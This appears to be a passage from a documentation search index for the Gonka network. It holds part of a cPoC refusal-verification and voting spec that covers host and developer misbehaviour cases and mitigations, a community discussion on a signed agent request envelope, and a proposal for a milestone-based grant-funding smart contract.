Flow: Once quorum_invalid is reached, the collector assembles an evidence bundle consisting of: (i) the refs into Diff for MsgStartInference / MsgSkipProbe, CarrySkip, and (for C13) the H_i-slot window; (ii) the set of CPoCVote messages achieving quorum; (iii) the relevant schedule inputs (PoC_slot_set, Schedule at heights in I). This bundle is handed to FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md for inclusion in the finalization bundle for mainnet — the bundle is the input to slashing.
Setup: V has stale PoC_slot_set or wrong epoch schedule (not the network majority view).
Expected behavior: V is at fault for mis-verdict; this is a node-operator / epoch-refresh issue, not host fault. Recovery belongs to the schedule/epoch layer (out of scope). The protocol must log the conflict so operators can detect it; it must not penalize H_i when only an outlier V disagrees.
Setup: Some host H_i has signalled ready (either via CPoCProbeResponse(outcome = ready) carried in Diff at some nonce N_ready, or because Schedule(H_i, H) = idle across the last W_ready mainnet blocks that every verifier strictly confirms). The developer is nonetheless not routing real inference to H_i:
executor(n) = H_i (i.e. n mod N_slots = i), D keeps sending MsgSkipProbe(target = H_i) rather than MsgStartInference, orD stops emitting messages at H_i-slot nonces altogether while continuing to send to other slots.Observation (at each V). V counts, over a trailing window of W_fair rounds ending at the current nonce:
n_inf(H_i) = MsgStartInference entries with executor(n) = H_i,n_probe(H_i) = MsgSkipProbe entries targeted at H_i,H_i is ready (per ready_at[H_i] receipt or Schedule(H_i, H) = idle for every H ∈ [h_start_window, H(V)]).Violation predicate. ready(H_i) ∧ n_probe(H_i) + n_miss(H_i) ≥ θ_fair ∧ n_inf(H_i) < θ_min_inf — i.e. over the window, D sent probes or left H_i-slots empty at least θ_fair times while sending fewer than θ_min_inf real inferences to H_i, despite H_i being ready. Exact values (W_fair, θ_fair, θ_min_inf) are chain-parametrized (TBD; see Open questions).
Flow:
1. Diff[N_ready] : CarrySkip wrapping CPoCProbeResponse(outcome=ready) for H_i\n → every V records ready_at[H_i] = (N_ready, h_ready)\n\n2. Nonces N_ready+1 … N_ready+W_fair·N_slots advance:\n V tallies n_inf(H_i), n_probe(H_i) at H_i-slot nonces from Diff\n\n3. Violation predicate fires at V:\n V enters \"withholding-alert\" state for (D, H_i)\n\n4. Downstream enforcement: every V that is itself a future executor for D\n refuses to serve D's requests (returns a new p2p signal\n `RouteFairnessRefusal(D, H_i, evidence_refs)`) until:\n (a) D issues MsgStartInference(executor = H_i) AND H_i confirms it (MsgConfirmStart),\n OR\n (b) H_i re-enters cPoC (signals active/prepare via a fresh CPoCProbeResponse\n or via Schedule(H_i, H) transitioning back to {active, prepare}).\n\n5. When (a) or (b) holds, V clears the withholding-alert and resumes serving D.\nExpected verdict: **Invalid against the developer**, not against any host. Evidence: ready_at[H_i] receipt + the H_i-slot window of Diff showing probes / empty slots but no inference requests.
Why enforcement sits with \"next hosts\". The only actor that can credibly deny D further service is the host queued to execute D's next request. If those hosts refuse until D resumes fair routing, D has a direct economic incentive to stop withholding. No mainnet round-trip is required in the hot path; the decision is local at each V from the same Diff contents, so every honest host reaches the same alert.
Open parameters (deferred to Open questions):
W_fair, θ_fair, θ_min_inf thresholds.ready_at receipt decays after the host re-enters cPoC (presumably yes — once Schedule(H_i, H) = active again, old receipts are cleared).RouteFairnessRefusal and whether it also lands in Diff as evidence for slashing D's stake.Applicability: Only possible on low session load — specifically, when Diff contains no signed entries between R_req and N_carry that would otherwise tighten V's upper bound h_high on R_req's true height. On any session with concurrent inference traffic, intermediate entries auto-tighten the band and this attack surface closes by itself.
Setup. Schedule(H_i, h_req) = idle (host is not on cPoC at the moment R_req enters Diff). Immediately after R_req, session traffic goes quiet: D has no other inferences to submit. A malicious H_i then waits strategically for its next scheduled cPoC window to open at some height h > h_req, signs CPoCSkipResponse(R_req, active) during that later window, and relies on D's late CarrySkip landing far enough in the future that V's height interval I = [h_X, h_carry] contains h. Under ∃ H ∈ I semantics (Verdict predicate, step 3) the carried refusal now passes, even though the host was idle at h_req and therefore owed the developer real inference.
Flow (attack, without mitigation):
mainnet h_req : Diff[R_req] = MsgStartInference # H_i idle at h_req\n... quiet session; no intermediate Diff entries ...\nmainnet h+Δ : H_i enters cPoC at mainnet height h > h_req\n H_i → D : CPoCSkipResponse(R_req, active) # signed at height h (fresh lie)\nmainnet h_carry: Diff[N_carry] = CarrySkip(embeds above)\nV on ingest: h_X ≈ h_req; h_carry ≫ h_req\n I = [h_X, h_carry] — wide band, no intermediate stamp\n ∃ H ∈ I : Schedule(H_i, H) = active ⇒ step 3 passes → Valid (wrong)\nMitigation (developer heartbeat). When D has an outstanding R_req and no further inference to submit within the current round (R_req … R_req + N_slots), D SHOULD emit a lightweight heartbeat — a MsgSkipProbe targeted at the natural next slot executor(R_req + 1) — within ≈ 1 mainnet block of R_req. The heartbeat carries D's signed observed_height ≈ h_req, and the host's responding CPoCProbeResponse (carried back via a subsequent CarrySkip) carries the host's signed observed_height as well. Both stamps land in Diff at nonces > R_req, providing a tight upper bound h_high on R_req's true height.
Cadence — one heartbeat, one round, only while idle.
D emits the heartbeat once within the round of R_req. A single stamped entry is sufficient to tighten h_high; additional heartbeats add no verdict strength.R_req. Once the session advances past nonce R_req + N_slots (one full executor round), the band for R_req is already bounded from above by any signed entry in that window. D MUST NOT continue emitting heartbeats after the round closes — further ones no longer improve the verdict for R_req.D would otherwise leave Diff quiet. If D has real MsgStartInference traffic queued (any nonce in [R_req + 1, R_req + N_slots]), those entries already provide h_high via their own observed_height stamps — no heartbeat is emitted.Flow (mitigated):
mainnet h_req : Diff[R_req] = MsgStartInference(to H_i) # real request\nmainnet h_req+ε : Diff[R_req+1] = MsgSkipProbe(to H_{i+1}) # heartbeat — if no real follow-up\nmainnet h_req+ε' : H_{i+1} → D : CPoCProbeResponse(N_SP=R_req+1, …)\nmainnet h_req+ε\" : Diff[N_hb_carry] = CarrySkip(embeds the probe response)\n # observed_height stamps ≈ h_req\n... (D stops heartbeating; round closes) ...\nmainnet h_carry : Diff[N_carry] = CarrySkip(for the real R_req)\n\nV on ingest of Diff[N_carry]:\n h_X = height_at[X] (≈ h_req; lower bound)\n h_high = observed_height on earliest stamp in (≈ h_req+ε; heartbeat tightened)\n Diff[(R_req, N_carry)]\n band = [h_X, h_high] — collapses to ≈ {h_req}\n step 3 now evaluates against a near-point band:\n Schedule(H_i, h_req) = idle ⇒ Invalid (attack closed)\nInteraction with other cases.
H_i itself and H_i responds ready, the response contradicts its own later CPoCSkipResponse(R_req, active) — a double-claim analogous to the MsgConfirmStart vs. CPoCSkipResponse mutual-exclusion rule. Verdict is Invalid against H_i on sight, without needing the band to resolve.H_{i+1} (the natural case since R_req + 1's executor is H_{i+1}), C13's withholding detector MUST exempt heartbeat probes emitted while an R_req awaits verdict — the probe is height-sync machinery, not a sustained routing pattern. See Open questions.D fails to emit a heartbeat despite having no alternative traffic, the band stays wide and the fresh-lie attack succeeds under ∃ H ∈ I. The heartbeat is therefore a developer-side obligation, not a protocol-enforced one from the host's perspective; a careless or lazy D exposes itself to being lied to. This aligns incentives: heartbeating protects D's own payment for real work.Expected verdict: With the heartbeat in place, the same CPoCSkipResponse that would have strategically passed under a wide band now fails step 3 and is settled Invalid via the standard CPoCVote quorum (§ Consensus / voting). Without the heartbeat on a low-load session, the protocol's verdict fidelity degrades gracefully — the verdict is whatever ∃ H ∈ I returns on the wide band — and settlement-layer penalties on host withholding remain the only recourse.
Open parameters (deferred to Open questions):
R_req and the heartbeat (≈ 1 mainnet block is a suggestion; could be tighter or looser).MsgSkipProbe or a dedicated lightweight message without a response expectation. MsgSkipProbe is reused here because it already carries an observed_height and rides existing Diff wire formats, but a response-free variant is cheaper.Every verifier V computes the Verdict predicate (§ Data flow) independently against its local view of Diff and H(V). When Verdict ∈ {Invalid, Inconclusive-pending-confirmation} (or a C13 developer-withholding alert fires), V signs and emits a CPoCVote for that N_carry. For target = host(H_i), votes are addressed to D as collector (this release). For target naming D (C3′, C13), trusted aggregation is not specified here — see § Consensus / voting (optimistic gap until self-finalization). A verdict is settled for finalization only after a quorum of independent votes has been collected; an individual verifier's opinion, by itself, slashes nobody.
CPoCVote (new p2p message, then into finalization bundle)", "text": "Field Meaning N_carry Nonce of the CarrySkip this vote refers to (or, for C13, the earliest Diff reference in the evidence window). referenced_nonce R_req or N_SP, copied from the carry; lets the collector filter duplicates. target Kind-and-identity of the actor being voted against: host(H_i) for C2/C4/C6, carrier(D) for C3', developer(D) for C13. verdict Invalid (most common). Valid votes are implicit — honest verifiers simply don't emit a vote — so no Valid voting channel is required. reason_code Machine-readable pointer to which predicate step failed (schedule_fail, role_fail, causality_fail, double_claim_confirm_then_skip, double_claim_skip_then_confirm, withholding, height_confirmed_invalid, …). schedule_witness (H*, Schedule(H_i, H*)) for the height in I the verifier consulted, so the bundle is self-contained for slashing. signature Host signature under domain cPoCVoteContent (binds all fields above). A single CPoCVote is cheap; the flood size is bounded because only verifiers with a non-Valid local verdict emit one, and every one is a pointer into existing Diff entries.
D)", "text": "Host-fault cases (target = host(H_i) — C2, C2′, C4, C6, etc.). The developer D is the vote collector for this release:
D already owns the CarrySkip envelope and knows which N_carry the vote refers to.D is the economically interested party when a malicious host means D did not get served.Collection procedure:
V with a non-Valid verdict sends CPoCVote to D via p2p (optionally piggy-backed on the same channel that carries SkipEvidenceGossip).D aggregates distinct signatures until |votes(Invalid)| ≥ quorum_invalid.D attaches the bundle to finalization per FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md. The vote bundle is the input to slashing.Developer-target cases (target names D — C3′ forged carry, C13 withholding). D cannot be the trusted aggregator of votes that would slash or dispute D. Normative intent: once self-finalization is implemented, CPoCVotes for these targets MUST be collected and aggregated in the finalization round (the same developer-independent path as other settlement), not by D.
This release — optimistic gap. The protocol does not specify a collector for developer-target votes. We assume D behaves honestly when forwarding or aggregating evidence in practice, or that C3′/C13 Invalid outcomes are out-of-band rare; malicious D censoring or withholding CPoCVotes against itself is a known uncovered negative case, scheduled for closure when self-finalization lands. Verifiers still emit CPoCVote with target = developer(D) / carrier(D) as specified; only the trusted aggregation path is deferred.
Future release (self-finalization). When the finalization round aggregates CPoCVote without relying on D:
V still emits CPoCVote on the standard channel; wire format unchanged.D for any target.D stops sending traffic and never submits a vote bundle\" for host-fault cases.Exact values — quorum_invalid (e.g. simple-majority vs. 2/3 stake-weighted), tie-break rules, stake weighting, and the mapping from votes to mainnet slashing amounts — must match the finalization / slashing layer. These are chain-parametrized and deferred to FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md and the mainnet slashing spec. This doc only guarantees:
V reaches the same verdict from the same Diff + strictly-confirmed height slice (by construction of the Verdict predicate).CPoCVote includes the schedule_witness and is auditable at finalization time (a dishonest vote is itself slashable).**PoC_slot_set provenance:** set at escrow init (immutable) vs queried post-init and cached. Different failure modes.**prepare policy:** is skip allowed while Schedule = prepare (treat like active) or forbidden (treat like idle)? Chain-spec flag skip_allowed_during_prepare.cPoCRefusalContent (host signature on CPoCSkipResponse, binds inference_id + reference_nonce + reason), cPoCProbeResponseContent (host signature on CPoCProbeResponse, binds probe_nonce + reference_nonce + outcome), CarrySkipContent (developer signature on CarrySkip, binds N_carry + referenced_nonce + payload_kind + host_response bytes), and the signing input for MsgSkipProbe (binds probe_nonce = N_SP + target_host_id).Diff-refs, signatures, schedule-witness); shared with FINALIZATION_COLLECTOR_PROTOCOL_PROPOSAL.md.(W_fair, θ_fair, θ_min_inf) for the developer-withholding predicate: how many H_i-slot nonces of probes / empty slots vs. real inferences, over how many rounds, qualify as misbehavior? Must be tuned so that legitimate brief probing (e.g. a single confirmation probe right after ready before resuming inference) does not trigger alerts.**ready_at lifecycle.** When exactly does a ready receipt for H_i expire? Candidates: (a) on the first strictly-confirmed Schedule(H_i, H) ∈ {active, prepare} after the receipt; (b) on any subsequent non-ready CPoCProbeResponse / CPoCSkipResponse for H_i carried in Diff; (c) a hard TTL in mainnet heights. Likely all three with (a) ∨ (b) ∨ (c).**RouteFairnessRefusal surface.** Is this purely a p2p refusal signal between hosts, or must it also land in Diff as a signed artefact so mainnet can slash D? If the latter, it becomes another SubnetTx variant and needs its own signing domain.MsgSkipProbe → p2p response → CarrySkip roundtrip be eliminated by letting D place a D-signed unilateral-skip marker (e.g. MsgCPoCSkipMarker(nonce, target_host = H_i, basis = {N_prev_carry, h_prev})) at H_i's slot nonce and routing the real MsgStartInference to the next slot? Requires (i) wire format for the marker and its signing domain; (ii) a freshness rule keyed to a prior CarrySkip for H_i — the marker is valid only while the schedule-implied cPoC window referenced by N_prev_carry has not expired at V's current height; (iii) a per-evidence cap on consecutive unilateral skips so a single old CarrySkip can't authorize indefinite skipping; (iv) reconciling with ready_at[H_i] and the C13 detector — a ready receipt invalidates outstanding marker authority immediately. Explicitly out of scope for the current release.quorum_invalid (simple majority vs. 2/3 stake-weighted), whether votes are counted per-host or stake-weighted, tie-break rules, and a liveness timeout for the collector to declare \"no quorum reached, treat as Valid\" are chain-parametrized and deferred to the finalization / slashing spec.CPoCVote without relying on D, we need: (i) a deterministic boundary condition that triggers vote aggregation (block height, session sealing, etc.); (ii) explicit ingestion of CPoCVote with target = developer(D) / carrier(D) (C3′, C13) so aggregation is not left to D; (iii) handling for late-arriving votes across the boundary; (iv) a migration story so older nodes that still send host-fault votes to D compose with the new collector. The wire format of CPoCVote itself should not need to change — only the aggregation destination. This closes the optimistic gap documented in § Consensus / voting (malicious D censoring votes against itself). Explicitly out of scope for the current release.R_req and the heartbeat (≈ 1 mainnet block proposed; tune against network latency). (ii) Whether the heartbeat reuses MsgSkipProbe or justifies a dedicated response-free lightweight SubnetTx variant (which would bind only D's signed observed_height and incur no p2p roundtrip). (iii) Carve-out rule in C13's withholding tally for probes emitted while an R_req awaits verdict, so a legitimate heartbeat doesn't count as withholding from H_{i+1}. (iv) Whether observed_height fields are strictly required on MsgStartInference, MsgConfirmStart, MsgSkipProbe, and CarrySkip for verifier determinism, or whether V's own height_at[·] stamps suffice in practice — i.e. is C14's closure structurally in the wire format or operationally via heartbeats on top of today's messages.W_seal. Default proposed at ≈ 2 mainnet blocks (matching timeout_skip_gossip). Needs to be tuned against (i) realistic MsgConfirmStart arrival latency after a CarrySkip, (ii) how long verifiers can reasonably buffer pending_verdicts entries in the provisional state, (iii) whether settlement-layer slashing for post-seal confirm-then-skip contradictions is strong enough to treat the seal closure as a true bound. If not, consider extending W_seal or allowing a bounded number of post-seal flips recorded as \"late evidence\" rather than verdict changes.MsgConfirmStart when CarrySkip(payload_kind = skip_response) for the same inference_id already exists in Diff (and vice versa) is a MUST or a SHOULD. MUST simplifies verdict reasoning (step 2 scan becomes a residual safety net for the race window only) but creates a harder dependency on every ingest pipeline behaving identically; SHOULD keeps the predicate as the sole source of truth but leaves the ingest rule as an opportunistic optimization. Tie-break also affects how implementations handle a genuine race in which both messages are valid at their own arrival times.H(V) as a black-box oracle.Invalid verdicts, decides inclusion in finalization bundles.🔄 Auto-sync: from Discussion #1230 every hour.
"}, {"location": "community/discussion/proposals/1230-proposal-optional-signed-agent-request-envelope-for-gonka-in/#proposal-optional-signed-agent-request-envelope-for-gonka-inference", "title": "Proposal: optional signed agent request envelope for Gonka inference", "text": "Автор: @aeoess · Категория: Proposals · Создано: 2026-05-22 17:24 UTC · Обновлено: 2026-05-24 03:00 UTC
"}, {"location": "community/discussion/proposals/1230-proposal-optional-signed-agent-request-envelope-for-gonka-in/#_1", "title": "📝 Описание", "text": "@gmorgachev, picking up your broker-side suggestion from #1185 with a concrete envelope schema and a reference implementation. I'd like input on placement and v1 scope before opening the PR.
"}, {"location": "community/discussion/proposals/1230-proposal-optional-signed-agent-request-envelope-for-gonka-in/#proposal", "title": "Proposal", "text": "Add an optional signed agent request envelope on /v1/chat/completions and /v1/completions. When the X-Agent-Passport header is absent, request behavior is byte-identical to today. Default config disables the layer. The envelope is additive metadata. No chain change, no new consensus message.
Gonka authenticates the network actors: Developer, Transfer Agent, Executor. MsgFinishInference records RequestedBy, TransferredBy, ExecutedBy. The signature chain works. AuthKey replay protection works. x/authz warm-key delegation works.
The narrower gap is agent-subject context when an automated agent calls Gonka under an already-authorized principal:
RequestedBy resolves to the Developer or warm-key Grantee; the actual agent making the call is not on the wire.x/authz is message-type scoped, not attribute scoped. A Developer cannot grant a warm key the right to run inference only for model X, only for purpose Y, only until next Tuesday. A custom InferenceAuthorization type in x/authz would address this but requires a chain change.When X-Agent-Passport is present, the verifier checks that:
signArbitrary compatible). The principal pubkey is embedded; the verifier derives the address locally and asserts equality with the envelope's principal address. No chain query needed, which eliminates the first-tx-pubkey lookup and the associated DoS surface.chain_id, HTTP method, full request URI, the JCS-canonicalized envelope, and the request body.MaxEnvelopeTTL (default 1h, configurable), and falls within not_before if present.allowed_models is present, the requested model must be listed. If omitted, the envelope does not restrict model choice.RequesterAddress, or x/authz shows an active Grantee to Granter relationship for /inference.inference.MsgStartInference.After s.recorder.StartInference succeeds, a structured attribution event is emitted asynchronously through a bounded queue. Drop-on-full with a counter; never blocks the request path.
This follows existing Cosmos patterns and adds no new root of trust:
signArbitrary produces.x/authz for warm-key resolution when the request comes from a Grantee distinct from the principal. Uses Gonka's existing AuthzCache.GetPubKeyForSigner directly.The envelope is an off-chain request-layer extension. Not a consensus message. Not a chain message. Not a new identity layer underneath the Developer key.
"}, {"location": "community/discussion/proposals/1230-proposal-optional-signed-agent-request-envelope-for-gonka-in/#why-request-layer-first", "title": "Why request-layer first", "text": "A chain-native version could eventually add optional AgentId and Beneficiary fields to MsgFinishInference, but that's a separate governance discussion. For v1, broker-side middleware looks like the safer starting point:
If you see a different placement that closes the gap with less surface area, I'd rather hear it now than after the PR is up.
"}, {"location": "community/discussion/proposals/1230-proposal-optional-signed-agent-request-envelope-for-gonka-in/#what-stays-unchanged", "title": "What stays unchanged", "text": "Listing the surface concerns explicitly because that's where reviewer attention naturally goes on any envelope proposal. This PR does NOT modify:
calculations.ValidateTimestamp, or checkAndRecordAuthKeyMsgStartInference or MsgFinishInference schemasDefault config is enabled: false. Operators opt in.
One Phase 2 direction worth flagging: extending MsgFinishInference with optional AgentId and Beneficiary fields so the data the envelope carries off-chain in v1 becomes queryable on-chain. That's a chain change requiring governance and is not assumed by this PR. If interest exists, it gets a separate Discussion.
Other items explicitly deferred to Phase 2: scoped delegation chains, multi-hop attribution receipts, multi-sig principal support, devshard daemon integration, and revocation beyond short TTL. @a-kuprin, the devshard authentication piece you raised in #1185 falls under devshard daemon integration here; I think that wants its own Discussion once v1 settles.
"}, {"location": "community/discussion/proposals/1230-proposal-optional-signed-agent-request-envelope-for-gonka-in/#what-im-asking-for", "title": "What I'm asking for", "text": "Two things before opening the PR:
/v1/chat/completions and /v1/completions matches your #1185 suggestion. Confirm or redirect.The reference implementation is ready: single PR, single new package internal/agentenvelope/, ~25 modified lines across two existing files, opt-in via config, backward compatible by construction. I can open it as a linked PR shortly, but the design points above are the substance of the Discussion. Code can wait on placement confirmation if that's the cleaner sequence.
I maintain APS (Agent Passport System), an Apache 2.0 open protocol for AI agent identity. The envelope format here is APS-compatible. The integration is fully isolated in internal/agentenvelope/, so the wire format can be swapped without re-architecting anything else. Adopting it Gonka-side does not require Gonka to adopt APS network-wide.
Linked PR: #1232 — reference implementation matching the design points above.
"}, {"location": "community/discussion/proposals/1230-proposal-optional-signed-agent-request-envelope-for-gonka-in/#2", "title": "💬 Комментарии (2)", "text": ""}, {"location": "community/discussion/proposals/1230-proposal-optional-signed-agent-request-envelope-for-gonka-in/#1-a-kuprin", "title": "Комментарий 1 — @a-kuprin", "text": "2026-05-23 04:57 UTC
I think the proposal doesn't completely take into account devshard logic.
Short story: When inferences was written directly to chain it even theoretically cannot serve large amount of inferences. Moreover only 10% of real hardware could be utilized (at current number of mlnodes). So devshards was introduced (L2 layer for Gonka), but they are not currently fully in production mode, as there are still unsolved problems, like handling cPoC, that is scheduled to next releases. Devshard is created by one user account. He puts the escrow GNK and pays fee for devshard creation. And only this developer is authenticated to current devshard. And this is his responsibility to authenticate other users to his devshard. It shouldn't be in chain logic to check inferences. Devshard just processes inferences and then on finalization provides to chain how many GNK shouyld be taken from users escrow balance.
My intention is that any changes and proposals for legacy inference handling (not with devshard) are just out of date. We should design things that will feat future infrastructure.
"}, {"location": "community/discussion/proposals/1230-proposal-optional-signed-agent-request-envelope-for-gonka-in/#2-aeoess", "title": "Комментарий 2 — @aeoess", "text": "2026-05-23 15:26 UTC
Got it. Moving this to the devshard path and closing #1232. Should the verifier live inside dl/devshards-gateway-to-main, or as a sidecar in front of the devshard?
↳ Ответ от @a-kuprin · 2026-05-24 03:00 UTC
There is already devshardctl that is runned by dev who initiated devshard escrow. dl/devshards-gateway-to-main - is just a git branch
"}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/", "title": "#1243 — Project funding governance and management", "text": "🔄 Auto-sync: from Discussion #1243 every hour.
"}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#project-funding-governance-and-management", "title": "Project funding governance and management", "text": "Автор: @a-kuprin · Категория: Proposals · Создано: 2026-05-25 04:19 UTC · Обновлено: 2026-05-25 04:19 UTC
"}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#project-funding-governance", "title": "Project funding governance", "text": ""}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#summary", "title": "Summary", "text": "At present, there is a need for an organization to allocate funds from the community pool and for adequate project-funding tools.
We propose a smart contract to govern project funding. The grantee first prepares a project with milestones, each tied to a USDT/GNK payout (both can be used at once). The community votes on the whole project; funds are moved into the smart contract; and an industry committee appointed by hosts votes on each milestone being met (or not met). Industry committees are shared across all grants, but the community can assign committees to specific milestones.
"}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#background", "title": "Background", "text": "In discussions, two views have clashed: one that “helicopter money” should be handed out, and another that funds can run out and then hosts lose everything, together with the death of the project. As a result, most proposals are rejected and the existing budget is not invested. Host concerns are nevertheless justified.
There is even a view that the Core team lacks developers and should hire more. Yet the community has a budget and every host has no less say in governance—but the community has not fully realized that. Gonka has an ideology, and it is about decentralization—the Core team must not be the center everything depends on. Shifting responsibility for project development onto the Core team is somewhat immature behavior. Creating a roadmap and moving toward a Foundation are signs of a mature community that can steer its own development. Miners are serious people with capital and business experience who hold project equity (via GNK) and, in practice, form a board of directors that is no less—and perhaps more—responsible than the Core team. After all, miners invested money and hardware.
"}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#problem", "title": "Problem", "text": "Under the current proposal-funding model, rejecting everything is a very rational tactic for hosts. If money is paid upfront, there is a huge risk that nothing will be done, or done poorly, or not what was needed. Hosts bear that risk. If payout is in GNK, tokens will hit the market and pressure the order book, crushing host profitability that is already at or past the edge.
If a project is funded on a post-payment basis, the grantee risks receiving nothing while still spending resources and money.
Splitting into milestones requires manual organization and host attention to the project—effectively micromanagement by the board of directors.
"}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#solution", "title": "Solution", "text": "The grantee first prepares a project with milestones, each tied to a payout. USDT is directed at operating expenses; GNK (as project equity) rewards contribution to Gonka’s development and can be unlocked after 1 or 2 years (timing is configurable). More than stream vesting—where GNK unlock daily and can reach the market—is possible: any unlock schedule.
Hosts, as the board of directors, vote on the project itself and appoint a committee responsible for acceptance. Payout can happen in one lump sum up front, but each milestone must be voted on by the committee to confirm whether the grantee fulfilled or failed obligations.
For example, a project might allocate 10k USDT immediately, another 10k on passing a milestone, and 50k with a 2-year vest on completion.
"}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#design", "title": "Design", "text": "Implemented as a CosmWasm contract grant-board in inference-chain/contracts/ (along the lines of community-sale and liquidity-pool), plus an optional helper contract vesting-proxy for block-height GNK locks. On instantiate, the contract admin is the gov module so upgrades and parameters go only through host votes.
x/distribution (community pool) via MsgCommunityPoolSpend; USDT—from the community-sale contract via withdraw_ibc. Grant-board accepts both assets at its address.gov_authority—i.e. they require a host vote via x/gov.tracked_balance[denom] and per grant allocated_* / spent_*. Invariant: the contract’s bank balance per denom ≥ sum of reserved funds for active and underfunded grants plus pending refunds. This prevents one grant from spending another’s funds.tracked_balance and are not attributed to grants.Grant states: Draft → Underfunded / Active → Stopped / StoppedRefunded / Completed.
Milestone states: Pending, ExtensionVotePending, InReview, RetryVotePending, StopVotePending, Released, Rejected, Skipped.
Flow: grantee creates draft → hosts fund via gov → auto-milestone (if any) pays immediately → for other milestones grantee submits evidence → committee votes → payout.
"}, {"location": "community/discussion/proposals/1243-project-funding-governance-and-management/#1-grant-draft-grantee", "title": "1. Grant draft (grantee)", "text": "CreateDraft—anyone can create a draft by attaching a setup fee in GNK. The fee is sent to the community pool via MsgFundCommunityPool (anti-spam, non-refundable).UpdateDraft. When credits are exhausted, the next update attaches the fee again (10 credits, minus 1 for the current call = 9 left).min_setup_fee_ngonka (hard floor 10 GNK). While setup_fee < min, the contract is considered inactive.proposal_url + proposal_hash (sha256 of the markdown) in the draft. This binds the on-chain draft to the off-chain description.description_discussion_url)—for v1 this avoids state bloat. v2 will add Arweave for immutable storage.CloseDraft—close the draft without refunding the fee. Hosts can close a draft via StopGrant.Draft validation:
requested_ngonka / requested_usdt (computed by the contract).index == 0 at the start of the list is allowed; gated milestones run sequentially 1, 2, 3, ….usdt_denom—exact IBC voucher denom, immutable for the grant’s lifetime.SetGrantCommittee / SetMilestoneCommittee.Hosts vote on a single gov proposal with three messages in strict order:
MsgCommunityPoolSpend—GNK from the community pool to the grant-board address.MsgExecuteContract to community-sale with withdraw_ibc—USDT to the grant-board address.MsgExecuteContract to grant-board with MarkFunded { grant_id, ngonka, usdt, config_hash }—must be last.MarkFunded behavior:
info.sender == gov_authority and grant.status == Draft.payload.config_hash against current config.config_hash. If hosts passed UpdateConfig in the same window, MarkFunded reverts and the entire funding transaction rolls back. This ensures hosts vote for exactly the template that will execute.delta_ngonka / delta_usdt as the increase in contract balance relative to tracked_balance (protection against attributing stray transfers).delta == requested → grant Active, funded_at is set. If delta > requested → surplus is returned in the same tx (GNK → community pool, USDT → community-sale). If delta < requested → grant Underfunded, remediated via gov.The funding proposal template is returned by query FundingProposalTemplate { grant_id }—always recomputed from current config and returns config_hash to embed in MarkFunded. CLI tool grantctl funding-proposal writes ready JSON.
index 0)—instant payout", "text": "index == 0 (at most one, always first) pays inside MarkFunded immediately, with no committee and no evidence.MsgCommunityPoolSpend flow but with grant-board accounting and a unified event stream.index 0 = 20% GNK on fund, index 1..N = 80% via milestones.Active. For Underfunded it stays Pending until fully funded.For each gated milestone (index ≥ 1):
SubmitMilestoneEvidence { evidence_uri, evidence_hash }. Milestone → InReview, timer review_deadline = now + review_period_seconds.VOTE_SNAPSHOTS)—member list and threshold at vote open.VoteOnMilestone { yes }.ExecuteMilestoneRelease when:yes_required = ⌈threshold_num × n / threshold_den⌉ is met, orreview_deadline has passed and outcome is Undecided (auto-release).vesting_blocks == 0, else via vesting-proxy with unlock at current_height + vesting_blocks. Locked GNK is not refundable on StopGrant.Rejection cascade (when the committee votes no). Next status depends on time relative to evidence_due_at:
Rejected, grantee may resubmit.RetryVotePending (committee votes whether to allow another attempt).StopVotePending (committee votes whether to stop the grant).Committee snapshot (Step 7e). A vote is accepted only if voter ∈ snapshot.members ∩ current_committee.members. Thresholds (yes_required, blocking_no) use snapshot size, not the current committee. This closes vote-erase / vote-overweight / vote-stuffing attacks via mid-vote UpsertCommittee.
Self-deal protection. If the voter is grant.grantee, the vote is dropped silently with event committee_vote_dropped_self_deal.
Empty committee is a feature. If no committee resolves for a milestone—auto-release at review_deadline. Hosts may deliberately rely on the timer.
Milestone order. Strictly sequential: milestone k cannot be submitted until all milestones < k are terminal (Released / Skipped). Parallel review is not supported in v1.
Config, gov-only)", "text": "Parameter Default Min Max Purpose milestone_evidence_due_spacing_seconds 30 days 1 day 365 days evidence_due_at = funded_at + spacing × index post_deadline_grace_seconds 7 days 1 day 14 days Window after due for submit/extension before stop extension_vote_period_seconds 7 days 1 day 14 days Committee vote window on extension max_deadline_extension_seconds 30 days 1 day 182 days Maximum of one approved extension review_period_seconds 30 days 14 days 30 days Review vote window after evidence All parameters are contract-wide; the grantee does not set them. They are included in config_hash, which binds the funding proposal to the active config.
Delivery flow:
RequestMilestoneExtension { proposed_evidence_due_at }—grantee may ask to extend the deadline; committee votes via VoteOnMilestoneExtension. Approve → new evidence_due_at within max_deadline_extension. Reject or Undecided → grant stops, GNK returns to the community pool.ProcessDeliveryTimeouts—crank (grantee-only), runs StopGrant if due + grace passed with no evidence and no active extension vote. No auto-release without evidence—only stop with refund.ProcessMilestoneTimeouts—crank to auto-release milestones in InReview with Undecided outcome after review_deadline.vesting-proxy)", "text": "recipient, denom, amount, unlock_height, grant_id, milestone_index.Vest—only grant-board may call. Claim—anyone after unlock_height. AdminCancel—gov only.vesting_blocks > 0. USDT is never vested.x/streamvesting: it only accepts senders from an allow-list (gov/inference). Contracts cannot call it without a chain upgrade. v2—add grant-board to AllowedExternalVestingSenders.UpsertCommittee—create/replace committee (members, threshold). Bumps membership_revision. Does not touch snapshots (intersection handles drift).SetGrantCommittee / SetMilestoneCommittee—reassign committee. If a milestone in voting is affected—snapshots and votes are wiped.StopGrant { refund_ngonka_to, refund_usdt_to }—stop grant in any of Draft / Underfunded / Active. Returns unreleased_ngonka (default community pool) and unreleased_usdt. Invalid recipient → partial payout, remainder in pending_refund_*, completed via CompleteRefund.AdminReleaseMilestone / AdminSkipMilestone—emergency levers.RemoveCommittee and TopUpFunding—deferred to v2.CreateDraft, UpdateDraft (within credits), CloseDraft, SubmitMilestoneEvidence, RequestMilestoneExtension, cranks on own grant, RecordFundingProposal Committee member VoteOnMilestone, VoteOnMilestoneExtension, VoteOnMilestoneRetry, 